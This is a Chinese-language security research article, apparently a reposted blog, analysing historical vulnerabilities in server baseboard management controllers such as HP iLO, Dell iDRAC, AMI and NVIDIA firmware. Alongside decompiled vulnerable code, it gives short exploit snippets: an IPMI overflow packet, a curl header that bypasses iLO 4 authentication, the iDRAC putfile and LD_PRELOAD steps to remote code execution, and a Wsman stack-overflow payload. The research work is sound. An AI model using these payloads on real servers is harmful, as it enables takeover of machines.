BMC漏洞实例分析

admin 2023年12月13日16:40:16评论24 views字数 11168阅读37分13秒阅读模式
前 言

在做某些服务器设备漏洞挖掘时,负责管理服务器的BMC模块是重要的一环。BMC系统被攻破,可能导致服务器主机穿透沦陷。本文将重点分析BMC相关历史漏洞。


BMC介绍

BMC(Baseboard Management Controller)为主板管理控制器。它是一种硬件设备或嵌入式系统,通常位于计算机主板上,用于监控、管理和维护计算机系统的硬件和软件。他本质上使用传感器来与设备进行通信,允许对被控机器进行完全控制(例如KVM)。这样可以通过远程访问BMC,然后重新配置主机,更改BIOS设置,或者刷新受控设备的固件。


不同供应商的服务器和主板可能会配备不同类型的 BMC,例如,HP 的 iLO、华为的MGMT、Dell 的 iDRAC、浪潮的IPMI 等,都是 BMC 的具体实现。


BMC漏洞实例分析

HP iLO


BMC漏洞实例分析

HUAWEI MGMT


BMC漏洞实例分析

DELL iDRAC


BMC漏洞实例分析

浪潮 IPMI


BMC通常被实现为嵌入式系统,芯片外围会配置自己的RAM、Flash等器件,插电BMC就会快速运行起来。


BMC是一个独立的系统,不依赖与系统上的其他硬件(比如CPU、内存等等),也不依赖BIOS、OS等。但BMC可以与BIOS和OS交互,一般大规模的数据中心会有OS系统管理软件与BMC协同工作实现集中管理的工作。


常见带外管理通信接口

带外管理系统,是指远程客户端与服务器BMC通信,对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。

01

IPMI


IPMI(Intelligent Platform Management Interface)是一种用于管理和监控服务器硬件的标准接口,定义了用于通过本地总线和网络进行通信的通信协议。


IPMI接口提供了一组命令和响应,可以通过网络远程访问服务器。IPMI接口可以通过命令行工具(ipmitool)、图形界面或API进行访问。(IPMI在 2015 年公布 2.0 v1.1标准后,停止更新维护,被 RedFish 永久代替。为了做到兼容,现在不少服务器上仍然支持 IPMI。)它的核心部件为BMC。

# 远程登录$ ipmitool -I lanplus -H $host -U $username -P $pwd chassis status  # 设置带外网络$ ipmitool lan set 1 ipsrc dhcp $ ipmitool lan print 1$ ipmitool lan set 1 ipsrc static$ ipmitool lan set 1 ipaddress 10.1.199.211 Setting LAN IP Address to 10.1.199.211$ ipmitool lan set 1 netmask 255.255.255.0 Setting LAN Subnet Mask to 255.255.255.0$ ipmitool lan set 1 defgw ipaddr 10.1.199.1 Setting LAN Default Gateway IP to 10.1.199.1$ ipmitool lan print 1


02

Redfish


Redfish 是一种基于 HTTPS 服务的管理标准,利用 RESTful 接口实现设备管理。


RESTful API接口可以使用任何支持HTTP协议的客户端进行访问,如浏览器、命令行工具或编程语言。以下是使用Python访问RESTful API接口获取服务器信息的示例代码:

import requestsbmc_ip = "your_bmc_ip"username = "your_username"password = "your_password"
url = f"https://{bmc_ip}/redfish/v1/Systems/System.Embedded.1"response = requests.get(url, auth=(username, password), verify=False)if response.status_code == 200: data = response.json() print("Server Name: ", data["Name"]) print("Manufacturer: ", data["Manufacturer"]) print("Model: ", data["Model"]) print("Serial Number: ", data["SerialNumber"])else: print("Error accessing BMC API")


BMC常见攻击面与漏洞实例
01

SMASH


SMASH是一种DTMF标准化的命令行,通过SSH运行,大多数攻击面都是认证后的。可通过一些产品的默认账号密码登录。


BMC漏洞实例分析


02

SNMP


SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及Hubs等)的一种标准协议。

$ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129    |       |       |               |               |        |       |       |               |               |------> 目标IP    |       |       |               |------> 指定MIB文件,包含了用于解释和查询SNMP数据的信息    |       |       |------> community字符public,用于只读访问    |       |------> SNMP版本v1    |------> 执行SNMP Walk操作,从设备上获取关于其管理信息的数据


通过执行snmpwalk,返回一些管理数据或命令,或许可以从中找到一些可控的命令注入。


03

IPMI


IPMI是BMC相关协议,用于远程管理BMC和访问大部分功能,包括UDP串行控制台。

历史问题:

  • Cipher Zero认证绕过

  • RAKP认证崩溃

  • 弱Session ID


案例一:CVE-2013-4786

分析BMC可以首先检查自2013以来就已知的哈希泄露。


下图是IPMI标准手册截图,解释了IPMI中身份验证如何工作。IPMI 2.0规范使用RAKP认证密钥交换协议。


BMC漏洞实例分析


重点关注两条消息:

Message 1从管理员控制台发送到BMC,管理员只需要将用户名发送到BMC,而BMC会查找用户名并根据包含用户名的某些数据(比如控制台和受管系统的Session ID,和对应的随机数,权限级别,用户名长度和用户名本身)计算HMAC,且即将进行身份验证的用户的密码将用作此HMAC计算的密钥;

Message 2将这个HMAC计算结果被发送回管理员。


触发RAKP的一种简单方法是使用ipmitool发送任意命令。

$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 10.0.0.1 chassis identify                |         |         |           |             |         |------> 蓝色uid指示灯,直接执行命令,只能维持15                |         |         |           |             |------> 指定目标BMC设备的IP地址                |         |         |           |------> 无效的密码,不重要,因为不需要完成认证                |         |         |------> 用户名                |         |------> -v*3 启用详细的调试输出,得到所有传入和传出的数据包                |------> IPMI接口类型LANplus


返回消息:

Message 1:   [...]   rakp2 mac input buffer (63 bytes)   a4 a3 a2 a0 4c 7f fb df ee a4 a3 96 b1 d0 7e 27   cd ef 32 ae 66 cf 87 b9 aa 3e 97 ed 5d 39 77 4b   bc 8a c5 a9 e2 da 1d d9 35 30 30 31 4d 53 00 00   00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e                               | |-------------|                               |         |                               |         |------> 用户名ADMIN                               |------> 用户名长度   [...]Message 2:   [...]   Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496                                  |------------------------------------------|                                                      HAMC   [...]   /   ...unauthorized name   /   ...


因此,如果攻击者知道BMC用户数据库中存在的正确的用户名,他就可以接收哈希值并计算它,并且将猜测密码/密码本用作此HMAC的密钥,计算出HMAC并与Message 2中的HMAC进行对比,一致则密码正确。


而这个问题至今都没有修复,但一些厂商会有防护措施,比如通过防火墙设置策略、强密码或禁用IPMI解决。



案例二:CVE-2023-34344 - AMI & CVE-2022-42288 - NVIDIA

如果不知道正确的用户名呢?


当BMC进行身份验证时,用户名的长度也会在同一消息中发送。可以猜测BMC对用户名的检测使用的是memcpy(在AMI和NVIDIA中正是如此),那么服务器处理这个用户名的时间不是固定的,也就是可以通过侧信道爆破用户名。



案例三:CVE-2023-34341 - AMI & CVE-2022-42278 - NVIDIA

IPMI服务器监听BMC套接字,特定的读写API允许读取服务器进程上下文中的任何虚拟内存,并返回客户端。

if...                    // if ( ActivateFlashStatus != 1 )if...                    // if ( CalculateChksum( &req->address, req->hdr.struct_length) != req- >hdr.crc32if...                    // if ( req->hdr.struct_length != 7 )size = LOBYTE(req->size) | (HIBYTE(req->size) << 8);address = ( LOBYTE(req->address) | (BYTE1(req->address) << 8) | ( BYTE2(req->address) << 16) | (HIBYTE(req->address) << 24)); heap_ mem = malloc(size);if...                    // if ( !heap_ mem )memcpy(heap_mem, address, size);memcpy(&res[1], heap_mem, size);      // [1] Readres->status = 0;LastStatCode = 0;v15 = req->hdr.field_0v16 = (LOBYTE(req->hdr.field_0)(BYTE1(req->hdr.field_0) << 8) | (BYTE2(req->hdr.field_0) << 16) | (HIBYTE(req->hdr.field_0) << 24v17 = (LOBYTE(req->hdr.field_0) | (BYTE1(req->hdr.field_0) << 8) | (BYTE2(req->hdr.field_0) << 16) | (HIBYTE(req->hdr. field_0) << 24BYTE1(res->hdr.field_ 0) = BYTE1(req->hdr.field_ 0);LOBYTE(res->hdr.field_ 0) = v15;BYTE2(res->hdr.field_ 0) = v16;HIBYTE(res->hdr.field_ 0) = v17;res- >hdr.struct_length - LOBYTE(req->size) | (HIBYTE(req->size) << 8);res->hdr.crc32 = CalculateChksum(heap_ mem, LOBYTE(req->size)| (HIBYTE(req->size) << 8));free(heap_mem);return (LOBYTE(req->size) | (HIBYTE(req->size) << 8)) + 13;


同理,没有对地址和内容做校验,会将请求包内容写入任意地址,实现任意地址写。

if ( gDeviceNode <= 1 ){    if ( ActivateFlashStatus == 1 )        if (CalculateChksum(&req->address, LOBYTE(req->hdr.struct_length) | (HIBYTE(req->hdr.struct_length) << 8)) == (LOBYTE(...)))        {            memcpy(            (LOBYTE(req->address)| (BYTE1(req->address) << 8) | (BYTE2(req->address) << 16) | (HIBYTE(req->address) << 24)),            &req[1],            (LOBYTE(req->hdr.struct_length) | (HIBYTE(req->hdr.struct_length) << 8)) - 5);      // [1] Write      ...



案例四:CVE-2023-34343 - AMI & CVE-2022-42289 - NVIDIA

SNMP Injection

IPMI每次发送想要重新加载或更改SNMP配置新包时,都会使用system创建一个新文件,而[1]rocommunity是从用户请求中读取的,然后[2]直接被拼接到command并system执行,实现注入。

case 4:                  // req[0] *rwcommunity = *zeroes; *&rwcommunity[4] = *&zeroes[4]; *&rwcommunity[8] = *&zeroes[8]; *&rwcommunity[12] = *&zeroes[12];  req_len_decr = req_len - 1; *&rwcommunity[16] = *&zeroes[16]; rwcommunity[20] = zeroes[20]; memcpy(aPublic, req + 1, req_len_decr); memcpy(rocommunity, req + 1, req_len_decr);        // [1] break;


memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo'#SNMP User Configuration' > %s", "/conf/snmp_users.conf");system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'rwcommunity %s' >>%s", rwcommunity, "/conf/snmp_users.conf");system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'rocommunity %s' >>%s", rocommunity, "/conf/snmp_users.conf");        // [2]system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'rwcommunity6 %s' >>%s", rwcommunity, "/conf/snmp_users.conf");system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'rocommunity6 %s' >>%s " , rocommunity, "/conf/snmp_users.conf");      // [2]system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'dlmod libsnmp_hostname_mib /usr/1ocal/lib/libsnmp_hostname_mib.so' >>%s""/conf/snmp_users.conf");system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, "echo 'dlmod libsnmp_systemstatus /usr/local/lib/libsnmp_systemstatus.so' >>%s""/conf/snmp_users.conf");system(cmd);memset(cmd, 0, sizeof(cmd));sprintf(cmd, " echo 'dlmod libsnmp_CHANGEME_mib /usr/local/lib/libsnmp_CHANGEME_mib.so' >>%s""/conf/snmp_users.conf");system(cmd);



案例五:CVE-2023-34334 - AMI & CVE-2022-42290 - NVIDIA

NTP Injection


BMC漏洞实例分析


用户开启NTP服务后,可以[1]设置主服务器地址并[2]将其保存到g_BMCInfo变量中重启ntp服务。

    subcmd = *req;    switch (*req)    {        case 1:                        // subcmd 1: set primary server        case 2:                         // subcmd 2: set secondary server            if(req_len != 129)                goto LABEL_7;            if (g_BMCInfo[instance].ntp_enabled == 1 )    // ntp_enabled            {                first_servername_byte = req[1];                if ( first_servername_byte )                {                    if(subcmd == 1)                    {                        if ( snprintf(g_BMCInfo[instance].ntp_primary, 0x80u, "%s",req + 1) <= 0x7F )        // [1]                            goto success;                        IDBG_LINUXAPP_Dbg0ut(130"[%s :%d]Buffer 0verflow", "NTPCmds.c", 222);                        *res = 0xF1;                    }                }                else                {                    if ( snprintf(g_BMCInfo[ instance].ntp_secondary, 0x80u, "%s", req + 1) <= 0x7F )                    ...        ...        case 4:                        // subcmd 4: save config and restart ntp            if(req_len!=1)            goto LABEL 7;            if ( g_ BMCInfo[instance].ntp_enabled == 1 )  // ntp_enabled            {                if ( g_BMCInfo[instance].ntp_primary[0] && libami_setntpServer(1, g_BMCInfo[instance].ntp_primary))  // [2]                {                    v18 = dlerror();                    IDBG_LINUXAPP_Dbg0ut(                        130,                        ”[%s :%d]Error in loading symbol libami_ setntpServer %sn" ,                        "NTPCmds.C",                        296,                        v18);                        *res = -14;                    return 1;                }                    if ( l1bami_setntpServer(2, g_BMCInfo[instance].ntp_secondary))                ...

重新加载ntp服务时会[3]获取主服务器地址,获取成功后[4]将主服务器地址Primary不处理直接拼接到ntpdate命令中实现注入[5]。

libntpconf = dlopen("/usr/local/lib/libntpconf.so", 2);if( libntpconf) {    libami_getntpServer = dlsym(libntpconf, "libami_getntpServer");    if ( 1ibami_getntpServer && libami_getntpServer(Primary, Secondary, 128))     // [3]    {        IDBG_LINUXAPP_DbgOut(130, "[%s:%d]n Error in getting primary and secondary ntp servern", "PendTask.c", 4073);        goto LABEL_7;    }    if ( snprintf(ntpdate_cmd, 0x100u, "ntpdate -b -s -u %s", Primary) == -1)     // [4]    {      IDBG_LINUXAPP_DbgOut(130, "[%s:%d]n PrimServer Data is invalid.n", "PendTask.c", 4078);      }    else    {        rc = like_system(ntpdate_cmd);                         // [5]        if( !rc )          goto LABEL_6;        IDBG_LINUXAPP_DbgOut(           130,          "[%s:%d]n NTP update failure in primary server: :%dn",           "PendTask.c",          &elf_hash_bucket[958],           rc);    ...



案例六:CVE-2017-8979

IPMI Zero Length Pool Overflow - HP iLO2 < 2.32

HP iLO在对IPMI消息长度处理时,直接做-6操作,容易导致length整数下溢,并将source拷贝到固定大小的mem中。

length = IPMI_Packet->Message_Length – 6;mem = pool_block_allocate()memcpy(mem, source, length);


exploit

buf = "0600ff07000000000000000000092018c88100388e0465"mess= [int(buf[a:a+2], 16) for a in range(0,len(buf), 2)]p = 13nm = mess[:p] + [0] + mess[p+1:]s = SendPacket(nm, sys.argv[1], IPMI_PORT)


04

HTTPS


HTTPS协议在大部分BMC上默认开启,BMC基本选择使用流行的嵌入式web服务。


案例一:CVE-2017-12542

Overflow - HP ILO 4 <2.53

这是一个由sscanf导致的溢出,ilo获取用户http请求头中的Connection,并拷贝到http_header中。

if ( *global_struct_a2 )  {    if ( custom_strncasecmp((int)https_connection, http_header, "Authorization:", 14) )    {     if ( custom_strncasecmp((int)https_connection, http_header, "Content-length:", 15) )     {     if ( custom_strncasecmp((int)https_connection, http_header, "Cookie:", 7) )    {    if ( !custom_strncasecmp((int)https_connection, http_header, "Connection:", 11) )     sscanf(http_header, "%*s %s", https_connection->connection);          // 1   }    else  {  cookie_header = (int *)get_cookie_header((int)global_struct_a2);  parse_req_cookie((int)https_connection, (int)http_header, cookie_header);  }  }


http_header是一个结构体,定义了一些字段,在connection下0x1c偏移后就是检查是否本地登录的字段localconnection

struct https_connection {  ...  0x0C: char connection[0x10];  ...  0x28: char localConnection;  ...  0xB8: void *vtable;}


exploit

覆盖localConnection:认证绕过

curl -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" [TARGET]


覆盖虚表指针:任意代码执行


案例二:CVE-2018-1207

Environment Variable Injection leads to RCE - iDRAC 8

该漏洞是iDRAC上对环境变量处理不当导致的RCE。

$ cur1 'https://x.x.x.x/cgi-bin/login?LD_DEBUG=files'HTTP/1.1 503 Service UnavailableKeep-Alive: timeout=60, max=199[...]24986: file=/usr/lib/libfipsint.so.0.0.0 [0] ;    needed by /usr/1ocal/cgi-bin/ login [O]24986: file=/usr/lib/libfipsint.so.0.0.0 [0] ;    generating link map24986: dynamic : 0x295689e8    base: 0x29558000    size: 0x00010b2424986: entry: 0x29558680   phdr: 0x29558034     phnum : 4


/cgi-bin/discover?LD_PRELOAD=xxx 允许设置环境变量

常见思路:将LD_PRELOAD指向标准输入文件/proc/self/fd/0


但实际不可用,可能的原因有二:

  • 不允许将环境变量设置为一个非常文件;

  • 在执行到CGI这里的时候,被打开的临时文件描述符其实已经被关闭了,p牛的解决方法就是控制content-length和文件大小让上传流程一直不结束,从而保持文件描述符打开状态。

不过 /cgi-bin/putfile CGI允许未授权用户在文件/tmp/sshpkauthupload.tmp中存储任意内容,限128KB。


exploit

  1. POST /cgi-bin/putfile     上传任意文件内容

  2. POST /cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp     作为环境变量加载



案例三:CVE-2017-8979

Preauth Stack-Based Buffer Overflow in Wsman XML Tag Name Parsing / Wsman XMLns - HP iLO2


iLO在对Wsman XML请求处理时,调用sscanf 将xml中:后的字符串拷贝到栈上导致栈溢出。

ROM:001108B4 movhi     0x1F,rO, r7ROM:001108B8 movea    0xAEO, r7, r7      // "%[^:]:%s"ROM:001108BC addi     0x8O, sp, r8ROM:001108C0 addi     0xCO, sp, r9ROM:001108C4 jarl     sscanf, lp      // sscanf(arg2,"%[^:]:%s", sp[0x80], sp[OxCO])ROM:001108C8 CMP    2, r10ROM:001108CA bz      loc_1108E


exploit

import requestsheaders = {'Content-Type' : ' application/soap+xml;charset=UTF-8'}payload = "<x:" + "B"*0x300 + ">n</x>"r= requests.post('https://x.x.x.x/wsman', data=payload, verify=False, headers=headers)print r.text


总 结

本文主要分享了BMC常见的攻击面及相关实例,从这些漏洞可以看出大部分漏洞成因是常见的逻辑处理问题。因此在对BMC分析的过程中,可以重点审计SMASH、SNMP、IPMI、HTTPS相关处理代码。







【版权说明】

本作品著作权归p1Kk所有

未经作者同意,不得转载


BMC漏洞实例分析
p1Kk

天工实验室安全研究员

专注于IOT漏洞挖掘与利用


BMC漏洞实例分析

原文始发于微信公众号(破壳平台):BMC漏洞实例分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日16:40:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BMC漏洞实例分析http://cn-sec.com/archives/2293791.html

发表评论

匿名网友 填写信息